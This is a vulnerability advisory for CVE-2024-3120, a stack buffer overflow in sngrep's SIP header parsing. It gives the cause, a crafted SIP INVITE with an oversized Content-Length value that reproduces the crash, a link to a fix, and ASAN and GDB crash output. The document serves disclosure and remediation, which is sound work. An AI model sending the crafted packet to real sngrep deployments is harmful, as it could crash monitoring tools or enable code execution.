Stack Overflow in Content-Length and Warning headers

Apr 5, 2024

CVE Number

CVE-2024-3120

Credits

Huascar Tejeda of Pentraze Cybersecurity

Summary

The vulnerability arises from improper bounds checking of the Content-Length and Warning headers within SIP messages, leading to potential stack-buffer overflow conditions. This flaw could allow an attacker to execute arbitrary code or cause a Denial of Service (DoS) through crafted SIP packets.

CVSS

9.0 (Critical) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

The vulnerability results from insufficient bounds checking before copying the Content-Length and Warning headers into fixed-size buffers within the SIP message processing functions. Specifically, the strncpy function calls in sip_validate_packet and sip_parse_extra_headers in src/sip.c file do not validate the length of the input, potentially leading to stack-buffer overflows for overly large header values.

Steps to reproduce:

  1. Start sngrep in terminal mode: $ sudo sngrep -T
  2. Transmit a SIP message with an excessively large Content-Length value over the network, as demonstrated below:
   INVITE sip:htejeda@example.com SIP/2.0\r\n
   Via: SIP/2.0/UDP 10.1.0.2:5060;branch=z9hG4bK-12345\r\n
   Content-Length: 999999999999999\r\n\r\n

Proposed Fix:

I’ve developed a patch that introduces proper bounds checking for the Content-Length and Warning header values. The commit with the proposed fix can be viewed here: https://github.com/irontec/sngrep/commit/f229a5d31b0be6a6cc3ab4cd9bfa4a1b5c5714c6

ASAN

=================================================================
==3094560==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff40c596a at pc 0x55555565157a bp 0x7ffff4afe770 sp 0x7ffff4afdf30
WRITE of size 32 at 0x7ffff40c596a thread T1
    #0 0x555555651579 in strncpy (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825)
    #1 0x5555556b7519 in sip_validate_packet /home/htejeda/sngrep/src/sip.c:294:5
    #2 0x5555556ad7e2 in capture_packet_reasm_tcp /home/htejeda/sngrep/src/capture.c:840:17
    #3 0x5555556a89db in parse_packet /home/htejeda/sngrep/src/capture.c:433:21
    #4 0x7ffff7eddc28 in pcap_handle_packet_mmap /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:3978:2
    #5 0x7ffff7ede1c3 in pcap_read_linux_mmap_v3 /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:4128:10
    #6 0x7ffff7ee207d in pcap_loop /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap.c:2904:9
    #7 0x5555556a6e46 in capture_thread /home/htejeda/sngrep/src/capture.c:1069:5
    #8 0x7ffff7a94ac2 in start_thread nptl/pthread_create.c:442:8
    #9 0x7ffff7b2684f  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Address 0x7ffff40c596a is located in stack of thread T1 at offset 10602 in frame
    #0 0x5555556b6fcf in sip_validate_packet /home/htejeda/sngrep/src/sip.c:263

  This frame has 3 object(s):
    [32, 10272) 'payload' (line 265)
    [10528, 10560) 'pmatch' (line 266)
    [10592, 10602) 'cl_header' (line 267) <== Memory access at offset 10602 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
Thread T1 created by T0 here:
    #0 0x55555564ec0a in pthread_create (/home/htejeda/sngrep/src/sngrep+0xfac0a) (BuildId: 62e1f4d43b909825)
    #1 0x5555556b07f2 in capture_launch_thread /home/htejeda/sngrep/src/capture.c:1054:13
    #2 0x5555556ca643 in main /home/htejeda/sngrep/src/main.c:451:9
    #3 0x7ffff7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825) in strncpy
Shadow bytes around the buggy address:
  0x7ffff40c5680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff40c5700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff40c5780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff40c5800: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7ffff40c5880: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
=>0x7ffff40c5900: f2 f2 f2 f2 00 00 00 00 f2 f2 f2 f2 00[02]f3 f3
  0x7ffff40c5980: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5a00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5a80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5b00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5b80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3094560==ABORTING

GDB Backtrace

#0  0x00007ffff7c969fc in __pthread_kill_implementation (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:44

#1  0x00007ffff7c969fc in __pthread_kill_internal (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:78

#2  0x00007ffff7c969fc in __GI___pthread_kill (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:89

#3  0x00007ffff7c42476 in __GI_raise (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/posix/raise.c:26

#4  0x00007ffff7c287f3 in __GI_abort (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./stdlib/abort.c:79

#5  0x00007ffff7c89676 in __libc_message (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/posix/libc_fatal.c:155

#6  0x00007ffff7d3659a in __GI___fortify_fail (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/fortify_fail.c:26

#7  0x00007ffff7d34f16 in __GI___chk_fail (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/chk_fail.c:28

#8  0x00007ffff7d34959 in __strncpy_chk (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/strncpy_chk.c:26

#9  0x000055555556015e in strncpy (/home/htejeda/sngrep/src/sngrep)
                       ??: char strncpy(__len = (size_t)<optimized out>, __src = (const char * restrict)<optimized out>, __dest = (char * restrict)0x7ffff78823d6 "") {
                       ||:
                       ||: /* Local reference: size_t __len = <optimized out>; */
                       ||: /* Local reference: char * restrict __dest = 0x7ffff78823d6 ""; */
                       ||: /* Local reference: const char * restrict __src = <optimized out>; */
                       93:              size_t __len))
                       94: {
                       95:   return __builtin___strncpy_chk (__dest, __src, __len,
                       ||:
                       --: }
                       at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95

#10 0x000055555556015e in sip_validate_packet (/home/htejeda/sngrep/src/sngrep)
                       262: int sip_validate_packet(packet = (packet_t *)0x7ffff0000e70) {
                       |||:
                       |||: /* Local reference: char [10] cl_header = "\000\000\000\000\000\000\000\000\000"; */
                       |||: /* Local reference: u_char [10240] payload = "INVITE sip:user2@example.com SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n", '\000' <repeats 1... */
                       |||: /* Local reference: regmatch_t [4] pmatch = {{rm_so = 96, rm_eo = 145}, {rm_so = 96, rm_eo = 110}, {rm_so = 112, rm_eo = 144}, {rm_so = -1, rm_eo = -1}}; */
                       292:     }
                       293:
                       294:     strncpy(cl_header, (const char *)payload +  pmatch[2].rm_so, (int)pmatch[2].rm_eo - pmatch[2].rm_so);
                       |||:
                       ---: }
                       at sip.c:294

#11 0x000055555555de4c in capture_packet_reasm_tcp (/home/htejeda/sngrep/src/sngrep)
                       763: packet_t capture_packet_reasm_tcp(capinfo = (capture_info_t *)0x5555555a9700, packet = (packet_t *)0x7ffff0000e70, tcp = (struct tcphdr *)0x7ffff7889d08, payload = (u_char *)0x7ffff7889d28 "INVITE sip:user2@example.com SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n", size_payload = (int)149) {
                       |||:
                       |||: /* Local reference: packet_t * packet = 0x7ffff0000e70; */
                       |||: /* Local reference: int original_size = 149; */
                       |||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
                       |||: /* Local reference: int valid = <optimized out>; */
                       838:     // This packet is ready to be parsed
                       839:     int original_size = pkt->payload_len;
                       840:     int valid = sip_validate_packet(pkt);
                       |||:
                       ---: }
                       at capture.c:840

#12 0x000055555555f26d in parse_packet (/home/htejeda/sngrep/src/sngrep)
                       320: void parse_packet(info = (u_char *)0x5555555a9700 "\001\001", header = (const struct pcap_pkthdr *)0x7ffff788ed40, packet = (const u_char *)<optimized out>) {
                       |||:
                       |||: /* Local reference: const u_char * packet = <optimized out>; */
                       |||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
                       |||: /* Local reference: struct tcphdr * tcp = 0x7ffff7889d08; */
                       |||: /* Local reference: u_char * payload = 0x7ffff7889d28 "INVITE sip:user2@example.com SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n"; */
                       |||: /* Local reference: uint32_t size_payload = 149; */
                       431:
                       432:         // Create a structure for this captured packet
                       433:         if (!(pkt = capture_packet_reasm_tcp(capinfo, pkt, tcp, payload, size_payload)))
                       |||:
                       ---: }
                       at capture.c:433

#13 0x00007ffff7f00c54 in pcap_offline_read (/lib/x86_64-linux-gnu/libpcap.so.0.8)
                       at ./savefile.c:654

#14 0x00007ffff7ee2048 in pcap_loop (/lib/x86_64-linux-gnu/libpcap.so.0.8)
                       at ./pcap.c:2897

#15 0x000055555555d410 in capture_thread (/home/htejeda/sngrep/src/sngrep)
                       1064: void capture_thread(info = (void *)0x5555555a9700) {
                       ||||:
                       ||||: /* Local reference: capture_info_t * capinfo = 0x5555555a9700; */
                       1067:
                       1068:     // Parse available packets
                       1069:     pcap_loop(capinfo->handle, -1, parse_packet, (u_char *) capinfo);
                       ||||:
                       ----: }
                       at capture.c:1069

#16 0x00007ffff7c94ac3 in start_thread (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_create.c:442

#17 0x00007ffff7d26850 in clone3 (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Crash context:
Execution stopped here ==> 0x00007ffff7c969fc: mov    r13d,eax

Register info:
   rax - 0x0000000000000000 (0)
   rbx - 0x00007ffff788f640 (140737346336320)
   rcx - 0x00007ffff7c969fc (140737350560252)
   rdx - 0x0000000000000006 (6)
   rsi - 0x000000000018b04d (1617997)
   rdi - 0x000000000018abb8 (1616824)
   rbp - 0x000000000018b04d (0x18b04d)
   rsp - 0x00007ffff7882020 (0x7ffff7882020)
    r8 - 0x00007ffff78820f0 (140737346281712)
    r9 - 0x0000000000000000 (0)
   r10 - 0x0000000000000008 (8)
   r11 - 0x0000000000000246 (582)
   r12 - 0x0000000000000006 (6)
   r13 - 0x0000000000000016 (22)
   r14 - 0x0000000000000002 (2)
   r15 - 0x0000000000000001 (1)
   rip - 0x00007ffff7c969fc (0x7ffff7c969fc <__GI___pthread_kill+300>)
eflags - 0x00000246 ([ PF ZF IF ])
    cs - 0x00000033 (51)
    ss - 0x0000002b (43)
    ds - 0x00000000 (0)
    es - 0x00000000 (0)
    fs - 0x00000000 (0)
    gs - 0x00000000 (0)
    

Services

Penetration Testing

Proactive assessment using tactics, techniques, and procedures of actual attackers to identify security flaws, incorrect configurations, and vulnerabilities.

Learn more

Application Security Testing

Comprehensive application protection, ensuring robust security throughout the entire software development lifecycle.

Learn more

Red Team Exercises

Simulate and emulate advanced cyber attacks to pinpoint vulnerabilities and test your organization's defense mechanisms, ensuring robust resilience against real-world threats.

Learn more

Vulnerability Management

Proactive process to identify, prioritize, and address security vulnerabilities in systems and software, enhancing an organization's defense against evolving cyber threats.

Learn more